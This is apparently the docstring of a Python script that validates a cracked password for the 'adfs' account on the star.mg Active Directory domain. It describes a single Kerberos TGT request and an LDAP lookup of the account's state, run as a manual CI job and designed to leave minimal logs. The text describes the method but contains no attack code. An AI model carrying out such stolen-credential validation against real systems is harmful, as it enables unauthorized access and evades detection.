r"""Validate cracked adfs credential against the star.mg domain. Staged; --execute.

Method: from STASRV25018 (domain member), run klist purge is NOT needed — we do a
non-destructive Kerberos TGT request for adfs@STAR.MG using .NET (no LSASS touch,
no ticket import into our session). Validates the password with a single AS-REQ.
Also reports the adfs account state via LDAP (enabled/locked/pwdLastSet).
Read-only w.r.t. the domain (one 4768 event on the DC). No lateral, no SMB to
other hosts. Manual CI job on star/backend, deploy tags. Cleanup after.
